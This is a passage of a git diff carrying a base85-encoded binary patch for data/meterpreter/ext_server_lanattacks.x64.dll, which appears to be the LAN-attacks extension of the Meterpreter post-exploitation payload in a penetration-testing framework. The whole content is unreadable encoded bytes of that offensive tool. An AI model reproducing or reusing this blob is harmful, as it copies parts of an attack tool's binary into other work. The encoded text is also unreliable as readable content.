z1WT+=Y(%_xlF{C?x#*RS-Yvq+Ur$TXH|6M^3iMA^dk@v3=FJFcEwmMV)P`P?6c1LM XFvTk?Vheg-NF|vgN45X|L-{`da&J4U diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index 544cd63fb098fc844212537ef6b790a76f896f93..c73e5d1fa22e2f94302c812656c1e72febf73573 100755 GIT binary patch delta 109164 zcmeEviGP#D_II8qEtD=K1zO6ULV-eA3I%K}g@mT?1X3t_Wi3`VK|yG=$dY0xCOk&b z5#uf{DBi1HuBa5eXj!CXZN&u?6%drE1*w26F68~5dD1lHdhdJxfFGYvc%C_P&Y3f3 zX3m_MIrFsSdQ8ccnDv7t{&-fl^N}S@rd76_XQ=-@I&7O^57Lhga~mEMPme*xbJv33 z4TlBZe8VO@Ke2cW2gK8DI4GX)8TO0k2jV$ye&IagsSEte%hBoXS{tsrR{r3)dRU#V za|=_H9Iew0kafC+l7Q#2L@BvhwO*$S)9G@XvT;)1-UIZymylVG=iqu`dT!L~D%*zu z%Jn)^B>PnE+#!|Ay2T+mx;$A|O@;K=>&%ZQwtPa47<9cq07f8D=_oAppGl`H=(FUm zSw*vSx{()<1A5)hc&4)N)};k3A~4ZElLh zE9BIn*1CJQejtyOSh-|$D&Cl1`pLQ)>km2|-hZX{bnX2Hz4xMb*ZE}R{qqjJj;}Z- z@Gc-vaqUg6iPmsy2v?`Q_dxw>uACKkx%AHIUE|@M3Lfbik9&|8E0|OQ;ZWe;6Jb5& zOIFq^%;8M2$U4smqwBig5#b#!*9=BW&G9(=+p|#zf1DNBb38ecXS!ag$mvc^u6U+* za!)rv*oslIj{ohvPG?uk6>nS_l8QIiz=uxP>DDXWiNG0?z-wlLrnJ219xxaYU@+7@ zy|2x+-=E`510^Bm_T`DwG_t;eENUoKs5rs6M6akiMXmJ5Z86I_dTzwiGoqE^S~bvoYR8p=#LrBswshq>wZ`xW&Ub!@Ag zw6mp0q4!}@&HOkL%exu*d`degLLJ`fV;VL33Xe6Z81h7nB=t^6Dpu4ZycXzIbzxF5 z&_2|GVbq@Ro51$uyav<@HlRAa6JI0LT|o6re+%Gq1olpRi=cl86tte4jmY>?%h*U6 zPt<2@M#d*v#%9V`h76b2jQaSI^P$MuKuOA+hD@`2XC9JP?*q;4p7&2VA-&zR={O!% z_ohlb&}BA&jGKO{?=ouz7cXVKx@gnjB1lFuJDLWB$3sCH@^93{e_9jY zt%-j|0i!!>>c#&YNi-T|@+)@;@iz!ei2l42-ML=&df*C}xCRl>srd}(A|QJ`(qte7 zMIVh;=f8aZ*P@fCLiB*l1u$e#c|IOiw{sJu)1j#b2q`yEikj-aR><|-m6V4{mS_aU zf?(4;!tlnl0w#Cz`bvfiaxZ1_*gz!(CMvmos#eFYP<=h@nM|#Y&fv)9%b_v!Vk$9D zQ>&t>HC3w0y~q&EkWZJp>azh zZj*!D;xulQ$!jJ%HNl%{>;whaU2P%QZPeI3t+8|CA!-meDqHJO#Nv&~;9&U}uev!_ z&(3^Q)8ZX7%pW%+lZE45brc2d$pjc@;Sm?jkJD>@E0}!4PlZbB92$o}4X8;c%nkDdk|}*?9{8 zE8d(u1r2G+N!u^v-9S*a${+WZVC#sorgt-xR>I2H?sj5MF|65%_llfyVRa!EIFu6y z%yp%euyys^EM+uXqZie|toq~TfL&G{3+kSEKn$3Yf4hS;#!fk*r*t?tx5UTb*Z+@D#O~AT5jV^HY=v3 z^J$c)F+92q40F{gOId_~ZAgG(wXAKyESl^gMp=;RdCIbEhen`lO9U)!zDDC}lo1W0 z<3Xai!8|8XK|vFXHLB6U9Li_~s_Q|j{*-4|4_eCF3)sX|ji#+eV+Ig3=fSK_%aF8; zl7%MWnK=Z_QYEY~Ci=s|IOL>R=sbualtUUvu zMLnWqIzKh6wZL;i(=~3KbzzdbG#?BGqd)zP(7mH2B@^i3e}!)NpnZf@J(vS;hNjDa zW@M_1y2s+$CtLNGsk5Z6)0hr)bftb`cIpgkH%DpZrxHY=p0jIRf+l^fF~{)1*}+d) z4c2q(M13@zCE>jLSELUQ;XwHxD2N>m!XoM zKaT2rgf6MGJ3Wq5a0oC8k6YcdD}j})VHtS^u)9g;ww=;D<`)qI9TaH*<;M2J)Zk%a{oq>W?IN z)GhScx6*%<3wv$ZPId|-2V*qYa}GNi7v1bu(lw%J8fjWxc&rdbOjQBU7X(t{BD?5= z(%nQOKv6z8*czczC%igRLVQSL{T*#!Rg04HYI~IYt~Zp9hk<-IyuK`NeQr+a)uITi z{+bo0GEb?nCMlv*!DgDtW~K^nnJ3a>0KsR&!aX+2;p~{Zwedp_S@{5LyTBeM_-#j@0RD-lDqx zw|XT9`$e-`3W&Rhf64Doy~D0}XCw!EDyoMW#)C{@22lT8BCOAcnL_s6 z$PVRo)27n}%=3Q}mOL)45vF7Gibin0OLJEVpC1j5Ax1Fq7HMBV2|KD`JvI6rs2mM~ z&jfL=TZqq6)kCUU0AhQF@X!rwUx7-4mb%VKOTYPDsc^66tb4t61bZ1gXm}ee>X&FD z0n6$`6N$oyl1A(2knzuE)Z@w`v(^`NCyA#C97JQm~u z7P&_5Y?Q9!iyEa<`OMI?_d06C?ISS%1x3p(=7SsIV2;=E9-*MzeBLHB?JXmeCXGM| zRGG`eLxlA{O<1QwLF5Eh0bp?oH>4)^ir*hpkx<9GgkE3wnq<;L_)}O`VQCPmm6=CE z3W8Rahn51ZENGOj<5L@@Q@L|gC_qz7dMF55Ne)eWg;wH1LC{KgXj;?CrJNASyh1A{ z8-avYoQFbTq?Qi>sL@}>ZcT{CHX4l|@Yvw6{gt=Y3mE^&TQh2TL2nJ570r`Nb@D6F zAP5yO#iTtOPUub}n$Wl;T2VE992FSv6BO(G2t43+T}PV&bv+&$t785)4Ua&;bK?Pi z#XzbPNW@Pl?;#D3pzuF8ae=srvLM)EjaxpSuE~WJ*laAoW@A~kvpUG93~xMB<3muC zSBVGYq8y;62CE=6Z`4o;3e;q+3Y6mn?iP?})qNUo{D;GY^gcm>yBQC#r5tTxXLxA- zFSM0LZM6faHB%_*jp>ttW%;LjM6ZoWq{Ln%4$;;ICALuxKb;-gDY%63$B#6EiO&Ba zf$BT|rLIDr&|bgjUQPS(EY_>A;N05;F}6U3TXH1>G=g=W$>(D3p?PSy|b5BvrpbzpH?cvE}I24x?d(~JJ8+aspsY6G( z_5l01L$7c+D?MYEvWR&>mike!&SxSQnzYc@WTCC!B%m+P?N&_{=h*)P1=tQ?)kC~I<|FAw>PBtMZ})}`hFU^&c)c$TIktC1La zBnBp?y=I7Uh%I`fjqEnDM|%zqUj>Tw?BwjWEH|Z(WZSwTWscnK`yC-Q@+?QG2hHx~ zCVqh6-k7D`VC>%6!WO^Xj&uRa+8x?0B_5lOLfT~3}B{yv%$h)p_D`eH@Rda*m+OZ|>4Z6Bn7?+22S zk+l|ZM{6~F5}y8YPxxrUds^{?-$O4jPX)Z)CSa;r)4H?%>7Au~HZi^TxXw73Qs}6# z3wAEPXh%C2WO&Z~i?kNE=6pTi`;TbSK<`+rcsgwA3YKb18c*ZIp5d0ik)WWQ$M0jG zrw_{i=v7VfafBI=yc@lTO8yLxAbE4ZN%C%}B}v|qYD<#;nuHf2c`ae8S!a_-ayj{L zY*Ko!@n5zL5q(qJdP%o^C`6x7TMu}5XNc%4iD#(jC2s~rx4g=}NFO-)(N{FtdlG6u z_M5cL6Ds?BAVKyY0Vmn70+(d}nP^D%!(v~EwEiJss#*VHvogBK*Ef^s-O;9A z(uYM~jZ6Be9`F#FA*l6<#4=R$Jh)E*t;ezfnU?5ttwHFK;LKl$W2-aU$p!K3#mpYD z6NiZ!>6Jny44JE1v*VfF4X`2@lkk}+o=1*>;mI&V&$ifU5 z_vR1vRhztBR86o_Ul;Q2q5f5%jd)CU6BYHmvif`pnW&1KjhdOuH!7au1RG7dzmeD# zImgL{!PA^wt=pGV-e6g(;b@if*d#0!jZH5boH<)CyOd*g*@BEyJgg&?*)SD*a*W6` zQq8{oK*-%h$gPLld|jJ^PVp1yEU3|0El1;eO;OT1_P~%1EzRRK7GLoh8bYRl%^f0^ociPo&NV)=BMRpnK z*XEfTVe>3C+Ry>iOVBSe>PWw7eEo! zx^q2E@1VbFJOX97mL;I&zan3+8DIZ88)xYr{{S_D7#Ky-ifThEH{;`9XOCG1ONZGZ z%Ydj;WKM-7huG9%ZJZpFgrY_XP|ZI`qCJ<885otX)g=0#L|d2-f>DYFx`8zj zKnj5{agyuwqXtSRP_hR4OamnoC_w|2Yamks!4T0vly7UW2!IZ10=@JMYnk24Xo;dO zAfao*Uqh9c(b9>{__0YsgQRyqBfJdgB8pFG!wRw|N}23~?8K<73^7bAx%CSBKKr8% z>#?`9p2uVLR`2Mf^DuHYaBz~&I%OxYFRZPc7y=lxMM);=X{ln^{=y%PC$!^AW|N{G zcCTWxQ482q3l5lb)n;~egb~x5S|vOfUW0N<%a;wdQ$Gv%cX53a$Qm9|JS&p&_^~sz zN}PaPbq}!<8Q4nV_y6Rixy(p@H)6!d;?${Qp(B+`kfzwGImB%;T^A zC+WUMILUt&F3=+0XWSToWS18GMzsuYA4whapyGjP!Z@hmFCn|o@`sXAS%Zzd;QL+l z?qMH|=#aJ@BsPyVqK?Lhz0gc!WM?xh_qjHx9$kXF!RP88sR#{U#mBJb%D~R= z-w-9<2~@2_o(3fI)e3=igx}c6a?iAHNzH2vn7L&I;QdfD_M|eP#giKed7nT&$k!sp zF5Vl*E-JCj&w_JkVYW{48% zOK_0aKpu8dX*UF!Cxv2ez|vw4RBc8+L{N`0@qyY)GVet%m>$E4P1B$NURG@z0FNkq zWY2_Mv`9kN?<#7l317uqzr;q2?AUVz5elPlb+?3ZcJ4(&-V-nb^~2p8{zf>PJF)|N zYh+|66n7a?3;R!M-u--tnmsSFPi?JP`G_VqZGzZ~dIrUsEVv7&Je7)oBaAVWPTshQ z%=PvHG%^3=1;~J@7j~rF(S#piokp3Bj>f=MY|*HkRwe>slf41C8)Np5vfG%6&t3@D zIQPI4$W3Jv><<}kK1bHRPAj6>6YK|jhH)K<=UT3x!6aeP12q0P^!s-ks zVMG}7-amBMHshslQrA@M_O{iI#L35pcmvpr; zikgSn;-~|oJTH|TXoatWrTGZEBsy0i<^*qe6CjcSL1r>Py^ee&ogp^cXfP^9L+mJ1 zt(V{FpIjw#mP{<5TG{wlT#LQ7h3lf5)CLB4Q-ZJ#(( zI>g#c>ezPmjsHM=ijAGrdbsW;2^VEuw~x9b+Smoj*J~n$NR-T5UO+fr80kTMJ_+k> z9X5K_<6)UGbH*Old`1T+`7ny>x0{BCp*UTdU&$Dour$h!iH1M;D^BwZa@Ld=JuobB0GWF&JJ(M;vU?w zHl8$&xJ>dSJj+C&R2y@uJCp1?X1#@2466u0P)e_oi(@uyD5nu^nE^K@Cht#4#}7UX zkAb~2>FrV5VR>k*iN@*WL1DCN#(yUIFIktf2Gc;+f@_k_5oS|Y!EdEj)Dt3le@l#1 z#k&|5@Cbj2eLJ~h8z5v|xeA>k_nT)Ma_1qpbKEB)=Lp{P3>ruVnTd$|B68(4V!X3%%xjWj)cSf?ZJ9ImImxdh!`!)Tk%GJ6%FnVi7q)- z6NN%bw9UFyzD^}2Vf(O(zj0FdyFt^qh_bXE(_U*$?12QfTMDQ@%tL3$o4JP>r{zoS zx6YqdD0S?lbwc=^{cM%G@H*(QuG_O6g z-0%>rIf}3uZ7Jop%w39M*mcEK=~q&ADVY_9wO~XG+M=n7w^s%o+QFef7q?vX`?V3V z3IhOM`5?`}hhs*pMe-og7!~~}<4A9-L5MZs?NsvkXckaB3ye#Es3*id`@)i0?TpT? zuU&?IpIt@%xi{u(N=&4LFLj#~9|n1UV>f1*hhE2yGjvD6D^UJhnA~dTVcs_eM7Cv? z-+vEjA#bF&m((C`3dS(Ry`BAYM$4WC63b3Q^%yt8r2Vx}(8(TO$pk45$Eq>kQ{zux ziQe*YLHrO>56lI01}$0Eaq?9&cN^AXU_w_%i|$su17hn7|B{#BSPg|w(B$;9tus^G zSMY<621{PrNFAxnKeK&g2P*OD6*ScQ6?BnH*0M;Ekwz^=p{Z$lXOSx{(tg;z~ z-B2q_6b(bYwGDixJR#aK9){zsHRWv9tYrE7 zhnamncS(>xa%Ttm=30=qWA`p^ z$`0Qd)twfz4X&PL9krfjU;RZ3z<|Gk!y1%4v@lKnRTZR<6}EEPFQTxDWhfczA+e~( zic__;a(&<0GuGH;cTs;BVMkg;4xJ8T&`rcR%&p!W=IFT@;a=f8tH@W&sWc?#l+VF3 zzT7dowg|(eVEP`4<>ooC#^_t&8-RzX(tWiwd4!-ldDscz#d;~n8~5W!;D-W$RLz?a zF{s`|9{=WRfj3*j`zRFe^y3=dGlch^hL@$`Jr#<#o$%_HQWgx#;|g1K*8sWy8us2@ zJ)HgvAb+J8IKq*$tGmg@n7E2Pbw!0&2Q6CE>e?)FM$*k~90L?pFzQBpt&rEm> z(3$RtjA&!LG-VIY9&g+VtI)8)llup=ENaQ>X7@H0Hp=+(cadS9(?Y)2#U{*2?bYi% zsW#7uwZC~Y?Q_)r?Dt#MN0KTvQ!a&m*lJ{LQ+!5XieC8PX?0ZlyT7Jo3jBAgyVeeW7F==l6tad z@9x3U=Pync3|Y;8V0bq&h~eEe?9=(Zq$GB8ewR*Engt$};(aoSPU$RL>^Aj~*ci#< zQ_oO2QW2Ya_YnEzGwiv$yR*G_r^J16j&!J$2{j2t@*{2*wxEx^>OAV)iYW_v^;QH@ zh{F7E?CgK3=zeaYu+z0d(_4PLrG*OrBjJXJ1z`>mc4X?pyQ3a}r?Z|W`gaaKanJCs z2Vn7Q!}*xz7_D&7yt%FUOzlYBpiRuz_~m76!9ByJx$ND0G9(W>e^2k0el#t)zVP7wT`TeLMJ}u3UGX>fwOSxprtX2#ouEANtiG_E*(eObO%}y@@RqQ8d=5R@U^n?|)`>Y4N|aViyNTvY16lhAt0BRgAgEDE=)`)gxzVF2uzdkm#;@1XAS5fC5|e5Gj!+;Zq}Gwt0ueiq=7@FK36^zAg2ioSoK7ls<ck6NRf+<{a?rW zzm65?sQ-J%O4mA;iNCf`^r%M`iXL_0!Mo(C_XfN-L(>t*;CK8qi>+BcPM)%x9bY~y zZW4~}*Yj^?Hf-J|^8>8!iYF6ik$dBri9OP}d6hGB47 z%xe&#Oqrj|WmzkG4G(zFIqQB293W&KFg)}X*)4750XN>T_DiJU${W_af|thb{IxHI z|9EU=&%%9JWq4clQ@qisioS~PT|i9yk|Qp-9?_N=R`-C^S}c`lsTEv%5S7L7(U-J7 ziNu`n*DC?BJel)3G}8=Ppyi2;5_@ML!QNceDYN|?kX8&A>wNN;JTqt|-L@JtsUhdO zyJLE%B1}tFe9IExsmHPRjHL%HyGNX1dS^!4R={-2d^%-&tix|Mw$)gYAp!{3v)DE73m*a@E13%4`Xs$vCiix8_^h2FpR=fV8a7G$V}dzk5= z_42eD_U=P($?tGh;F{HC6hf_Rw6SCn`xKA}onl3jG1sHFse7Q5@E+`}%POBex3%Y* zk&?89IZB7NsC*x_aILJ<+=1hK{VcYxbdYR5vGrzYCrN(kPS)w+?ef`K?CXc;$*<2~ zR(HPSW-qwgOAFWzcNcl)ady((Q674n`SG}IhKLSnJA)1O%xin4KU7BBTQifj^CH^y z!rJDM{_G=9yqwgZed)2vuYAbbuWKuR^dU=M*FL85LkXu0j-FTzY;VVAt!ou`t_)4# z!3>3kXINT!Z4-aoH)U+yx`FcBWo*~F-twv?tZrR_ZQ((5o9^f=)V$uf=}6L+OdkIb z{dql&pgh=q6Ic2o+AYI`y`Ktu#=@j|+Qva1-#ZoCc2I>RY5_P3Z|0d|=JA|Ny(v!41f=&N< zbc3saZX@Jj_zWiQ*9z;o_YQJb1Kj&27Do+$#Jq|a57)wZo#gO3-#DejeLF@}iQVkbl%=LS;rE@D~_YY>jCbDxk@`}#_ z^-m=MCt|0Vw!6@Biz%Ihv^rEJ{cfc6K#^Z<^NvpD&!iA;rB$u6V(S5mSDtbWyzCkG zl!>j}jr_TMoh}dn!}dHHFF%;iUU;m%JT0Hyc(kW;f}VV9=n^racLi>CpdO!8K+wT= z*6Z>EB&i;$y!vRUq%%;u)vyhDLewKXT(EOhVNp;e*7Vg{1Ft-y3FX#0-C|xgnVQhS zUU{r_(zAFE;EUBa_1)V+kgI+|Q6{`GQG{kL-nB&QPq7m1MN$k<}eVm5( zABOAhya#etmVK6cr}0{i`r9sl6SZO&@1z$kFM7gTJ+N3# z*9wHKrv~UfDLA+UB#*b7gsUXf;>Sgcm-DDeY~u4VkfIKit9O5jk! zaS~Jt74$fNmUuKO4>;dWYgC#01Lc6eiie{dH33W4fZl)Yiq3`AL4&p)K&kBXlL_+F zaqRaedpebfiIXN{wVAFKQ*pUrTZBI@a|^aIwpIFZt=53K#dQNW(C&`}!;Dox zRn#W5eY?-FO_BZ1I0KO9VA-0QcGQZ^KFES9*rzLGVj^q@zjrT!=lKGWk z&2u=Av3t8F?xNPMQ#>mZ6wgGXdm`+?!t7Zb;r|4qB(Rt;Sf}5aUGEYqC-O< z9_2Lg=dkr|QFFsGuy}h1?W=fpmeIqt2@wuD-M-R|^Z@G@iFJ=4>&FCZFXi$N4{F@y zAomRf7jtqZ@i%PCl`|q7VC~Y@+s+l9r^jqqPxfN8LhYmaF^1iV`iZAAd)4A2%+6zbw*a=L0M716Wn1fh&!&ij0teBZ-8_m zN>P{{@k#09+c^5ssyscf4ecPJgX-{F^lL3ny|TsDV!qMoK;#Q@%n_9JGrebaG?ey2 zr?aCSP|4gt>-ZndlaF4Bj*^FmdxM#Vy?0`X@@C+&jW^L8rUtnRl>c;Fy5<|iB`@`)N9oU0Q^f|hdmx&0a~ZLxvSs1fS$ zpt2G}%OW7(Ch)x*h?u7F?9S8)j#HR>0MZW-HC<1iogfNq^HlMUfO*m}m%fX@Ilq20fg0H)jjWQ$?hKGog2=j2 z`5|-y>E<4)7BwHj)pfkDMiZB&@rfW5k z8^ZW&>>^#WjtCnj)}sI`o>ef#a}b@}L|3yC`7oqTtNVRok%Qam+U4^=Sx0yhNxtP z{vah|MN+=zGdayXqk$v9^woqss~hLXn)J_*TM!SF+Q$N-TD{ql1*-=tC@5?(79NU6 zSS1Kt^de10MWbja!al=*!$2W@d+|$jl2xU7^+NfY@Zz2ifZ04sv5k*ZjQ#p%J4$T{$2$;lt%^NZE z3nQt724d+=C2Ivc&mav=QZCnP z)vNC>y-=oRyeOBXSk(a|D2gg9cx!S9((AThiR3rFAj*7!vY?D~Xg1Y7-Gn)N1&YH# z1s5J5W<95v_DtMERtIykiHb=;F?b4@5P$mqMTJg>v0`^-+?7r)3XuSm*yQi0crSo>; z`2)FvLgW;UXNfRC#IuA1ZYBhVONMK}v!51xOSoI(8)W8zAMKgG#XWr^_ z-HRkd-N?HHMBPYi-))EaU&vY}cy8naHJ(96o|V_Zv(7#J6nH*OJTrqlJsQtbyn44* z{ZqtqX1hT3uM3u^`1d13^@DsoJBu+k(M1;H;dZ`IfJbmyLROyue8Vo-DqPV;8zJZ& zhmB+*(1Ap5j=I;TenD0jJ0d#Rw)A!3sXOJs4PjVmSa*ya1;o4{L9C_jg25AODKj4j zfda-}J<^3gzmrOOK1qB8V)b5fd>d|Y(Iu`!Z1~HHeDfE!{^dbZH&*eoNtS+KH7|FN zf9$~`Ug;$7I?H;za+`FD&3a{+w35B{N@hO^YekZ8B}9Pch9SvcfU`ul5VeTu2LQsr zd}8hUFu!{@Grrn!#CPujZ934jzEFiE8m)p~`dCwN1&y55s1W8l)H<2}(3;-yu^QLP zlbQjl;J;d#U|Xp&0a5lRT+ zoFhmtVBiTV^)v4O7YX26>DLN5$ER4~_+16$V-4~KR{%k@S-^%nT5L1B9d7{PB@N+W zp3E$-b(Lf`_q8tZ-(_PyX+!tHU^m76B{M&e%{IQ)S$;j6?R_mX?)1wNMYDw>Ov+}h zHksrB*=*3JdrjxXgi6{}58KuEk~X3znbb672Puwl z#KvqT&qcPTH}Ci`nRnX3PQHHIpm$o5AP4zK!InbH19#mH)oeX0F1Tr1tHHQSY^w5q zGW#2SvVxbQ%wqF_E=6@0&3;^TruxfQ#U_fIF^J1oRs8gme!pw32{-#vS~>$U;;F$a zRybPZ%i~VW^mLvH6#PI2<+B;)%6YSWM(-So|wg6_*(nsk zKmC4ox?hR(J8SZuQ(nG>J^Y?S4%@Qz=6gG&w(0%Av0}KHv;~(e-RizSnO5_re(dN6 zk4hWatZjYd``%`cZ`&`u&Zd@)le7D>f0V_`DSfwAlsTkUe~`0SAJ_i|_AbfllwqCS)$&i7b$nQkVS>QN>`jR)>94emB*1rii=cWIja88Ph3e8X)|s6XLR!R_=excvQ>i^=}#dDI=8~|LE;@Z-6NVHZGM^ zWQ#!o)3+}>84gJ@VzG1Op~>vx$0=-WdHa}$Xmd#&N~5K=JNrlZEa^2CyK4`Y#s3%m z@PE+{|N9}eS-2Uv#o_MEV)w<%i#uy!5Bs`Hb?otdZ#Z++YD@a!U^orlg5fla|CewY zAO*u|Y-*%A{XT@#=`W@ zh12MBGmI2Y1KxifPJ;|BoCcVA2&Z`pW4;0XFT!a+Ai`-D)-IxO8k;KHJi6S>VU5FS z?rRear=iMFI1N3uaGIdR6o&$E1ny;o#-RX0;WUiKn@vaXd|RrHH4w zuW>vL8swJv7k%S+niu!~hj^Ni2efz^VhFn!h^P4v{Qkc^s>#7wP457w1AGv>_h6qi z%)~T5h%1(uO|@uBia&e`@o07msI=qECYjvMa`o%n%w0u8*p~-~;6j5qlda;pEb&lF zc5!wS-!u0}E!e0-)7swwXN5Mdu_FS9=t5DVUHt?HlH^Y=VS5f8ll3xt{_wEqlW1K< zooq5}yZj;h>2T*Ti+7pKqK`c4yo@gx*<8EB?D~^)O0OD9XTXfwJ+CE|fFkWe4Mkb4 zzA=5?Z-Wh`uizcG-AtB$VO^zz$AA@6p?NSi7_L~nE0Uz)>hn4`az?0jy=jCxL7$YX zuguj~ThwM)W9ci`NxKfj7(Obu=@03v*GY(@y|_B>x3Wn4ct?k9)v9j~PA%r>FWbD) zIl3C}nJdKaZ{h=6GC)4C?`}0dri}^|-Cl<=}8BTB_~J#(o-~+QCn4I>j4cuIQ_^B1#{G z8X5aEBSHkvCUX}%`stwdl}jWYmgO|3?M>c8-*$cnkVEwHK1({|w zqlsxL!byv%#8m<~H@wV_84g}=M=Rn}!?5W<>wq@E5o-n!%RinSI@-fr6-KQcvoJvS zJm~l$BKCym6O4F(CdlKTz;EDD8^#VFZO<}hHfJ+Gi*imurZ}+QkvKYxiiB6rmjkHQ zVF&QG9i2yGZ3#gh6opojplO|ui}MBQ&*>g}k_p0WTPNdVW95jO=V78AeyYd5fDAZq zs+R$s_b?wSm`%e;J*)XF*|-%;Y4FGc58`iUiJ!MJz6@Z4)F<>p>N_q+&%hTx5Abms z$wd!Hv|Y^O{B{&iE^y3jLLN{JWHn|iA-lTL1Dl@2%++-;B~aMT>A;Ib zDbZNN5gP;%-MyB*c`U1mZw#`Ivh&A=I)5w$2YjI%j~WMtuD|Oy8suAo6bi^u4e}X5 z#tKNK2H8)Lp#t)e2KksEy#?ew4e~xg+6l-U$;V$opY+@3Rxnx!uBu%PAg#L=u66@MP~T1DQv;l zGumFfn>ZaOP9ywr7Nj&zeiu9Qb-&mrMfUVlHc$H`@b55%bv=>Erk!ZtbiyhufXDP? z&J&$l^r812STleNPVd48xwdXO(N$_aq5uK?9Tabejt|MYk1^s=)Ipxe&VQ38-{{E_ zzik;+xtiJ~x{{xaWJAAgo3MMPtn)7;nrDy`q3 z%h}HF5)wyfr9==vZ`|qOqzE#lVj221FL|$3xiqA_X%>l!Cuw&n+%lE~y*fU)c9*Knn z9=eTMWU%8PDzNL8$n0mjW~4oUHWK%Ra0xmdRYR4NwXYRiF(T!{%|@vGUo==eAve6I zvcH{4?0uMKFYv`_c-#-mp>8^;@?h5@{1~OMzk*#m4211S?O_{Nv|`a`TaNZp9=2IW z;GWQZqDXA0RPv*Et;jZ^>L?LHc;kxi$9Q@UW&&TgDIlVT@2te+QQ8x;Y&pBpBsu&p2b=Ok_W`bDiVg>A>R7DU#YNn)c@Uuup$UUo z@3flC>uzjMhaCI|nZ5l(kNAB>+6eH(x)I;+jXQ!g|COEp!Q?!*O!SVg94%2WHu81* z!aoN{;(n@`r$aFk0YzwEcR=4p+y?&_?XP%a?m#v#pDrx9U9h5j-WJhn+CWxZS<%ag zl{frPoB|XXG9sXES2;GYiz9RncJjw&F~AuBi3q1_5j*^2-wvt7y&^jTKtSWVHb;^^ zL!quYU|hi3oa+*MbB(cJ0j@iGp5JZ6lTTw~&za;d%h=L$7O9xMe{QHVomj#RLQ~Z# z>KN>o%}qta?MD!>+J?6c&2`PC&tcGxCGDwU22=c9Kb;Pb53}ozjp*4mQ*neq2EyO< zO@arXVzLbXbpmyX@}lmFzY@LYMwQI;-ncu9sl~$%2)*#LIF3OPH_!)XY*Wupm1ne@p*s_{r({ngcT@M}n9hv^Pdq6

    w{AC23*90dwD32aoN>=DgS>a;OJ*VcbIbKfqA9!n0Ds`Wx%+uH>P0UXas~+! zm@d)LXbj|78!X!!W9ii=sD8L#tGz7cN~X<-emBq6 za3f20C#^>t-AdsuO@5)Easjnu_r3ZJ3h#O3%}u$mQ(CkmnO-`%;l?||C#0E0sEwdS zjXYA=7e}6F!YDY2-ASYdFnJotqXYO9+LK6TPp5WId)A$0v~x$~vo)DCaB^`)Uc^h~ z6DAJe6=-kxO6@hel%cwWD;60T)!)*TTm2?Q&fLvc%3Z1)i&}-cC^T^uGe?`b$y1O! zI*Li5#RvfQVah}B#4ti3&ONzX!nwLow!@#&*NKzR0j)M4yFZmGt#x-x<047yxP>q= z`s%YX^ZFz)BLuCN3h%Uvn8`?mZ>%=wld0jxNwx9WY2i`wL}-w~w(?X`jm7k%Z>VJi zpQ1e4;c?3dN48sKU?aGJ$jhWjF1+(`iON{Z>SFVB)uM~imQps4%o|lIX@MAFN%96} z5zYr-PgvqRxzX<)L+q{BqMoa3UZ3$%$t$mM?4s>qwHi(>}oOoaTGf=N6P61qf_BXwb4_DQ5;^wJE<7i0W-~Et5^uE{nXHM z*-zS%1MDDnGc0Wwwjwi}p7Xl=LEAEuqAl}6{+`93G1$a+OT7H~x_F^`SiZLNt^&u{ z%f*(lm$xrs&L|QlxQ`=9EWOm$!hp5x*U;Q5G3T@>Zx-^kaMPD_VRJk|Vs+8eGg-O5 zR7Tpu*J4E{*C=Pa&6}SRQyGhLjNq8tjbOp;W-hpa37NSh@rpr4JzeCETy4TUpH`4l z6%3tTlusqLJs#^ewJnG{3ygfw@VftZygJbLBzQl@ApU>5F)7b z8Mph2E4`5n)wQ;nm9I3sAmeKX#A2m>i&ux`ahI>EGB~>yL1-lJQ=Q6Hs4`J0+h+w^ zDtaJ0Q#EYNT9d3=$j$gKq&BXJao={yekP>^(#^7zv`!iwj2@l9oT>S_hK2YCjw9P^s{UP*z8UkqxM#rh z)A2TU7#TDc;u)?~WpyoFmnXe1ht4{Hp^pszY|rAijT#^B&7vn6q&K1TIs#o%8~y^? zjBzsI9{*=c{yn&Z7tg3Zo-f~F3~&h9>kk}QY{1`LZG74Iv5co) ze*oKlgS`KNC9}`8c!>~rp1(G8%tG23!~gm)A%BM!6SfBoKB;u3`JfstB;+jH?wDi7 z!P-o-5TaJGIK{!Z)pxreQx6)15vCIBdrK$M9kxc8PhLsn0A~ZzoEgZ&>;4mM0IZWGhFLd&JAq zt5O7NZ}#Xn$UU~#I2ga(J0o&b)m_xGI!&3%wp(Z5L<1i`MM@L6XosZ>jHDU%NBTVg z8@RQLe26oMWOgYT5}O$Ud^dK!C{jM8v=)L7q1*D+MWUjNleHv+F>M>}X< zp+<_K4Ielj*u6V^ITKuQxUdzu&r|FX3ct0cKXBi(@U%gTZRVpIDufyM4OcpQ27U$f zj2U>nKXWrNYRF$xL(Yb&#gJ=u8AD|hjhzUl}-WI*G=G$ZnAd?AkP+{P^)-LEf^k^L+_$9r?+s8yz_D0(ud{`@Jr zssyj<^w;wrLe4SnnW{No9TY`iAwP-7<1QSz@M&rAhSJuL?c~Pv`o+Rg_nJ3yHb*B3 zhzDhqaMH|Yh^bvP0L5Ch8o29o-T>JL`Q-0Vul&8l zBY&@R$=^w*7?Zk(hmPT+?%_eh)z2lp3Yc+B{an_qey%#o&y$a21{TM{UHk0@N>tPT* z^8aU@r;&QI^xx{6QU|w55qYtIm=Qk>>aF@8=_=CnFkO#F@`@1_Jl}lhmx|pz(A+}+ zwj~c&?G7m;r$5^xBEh28DwZ)o^^0K6>Y3)RNN#Di7V*~Cuh}ZLW_6E-gai-RqTc!` z@)0Pw{z)?3Bbi1ecYv>z{cKO8VmJrGS6zGzuMr;~`ACO~e-GZt&UNvD+>&}ChrQui zc}wG$?AoiA;S1y9K3^Df<&Nff_E0xy@rALw-xr2&DUDaYFgBgx3&ZFk)vx28i{--e z?mcSjP!2w5gjlv4?)dl+hqZY@k?2efy;sOE++fUoie)AKFT{c)BP#wcxEk8{c833p zl_^-9`O5#rS@ueT=3#YS4F8I-g>AsPGJb1;w-D=Cn!EMl9oen5iIWecQhm@Y2l^pU zhFauUBiXbO8FRJbnODI87%pCOUs%Y!kd1ysG*5H=eC7~PhpU(k%nsGy?vzPacu_&pXJ z`gJEwwK48u%eTpKf55jyGp{F!Q*yFW`@L#>S}9`mr@NL7t%l8Hn`c}ujol88UKyPv zjdg`{G0h~>WsuCBmiet$lP_3-OshykygX7f!01t>0N{l;o#GC`>2wpPlc0N+aON3= zJoC3t_C1LDUk5L^P>Ez2D2n*Kxnu=h4jh$d&sP|T;tkL8H!`L;lA}HJ0YU9W&!v>s 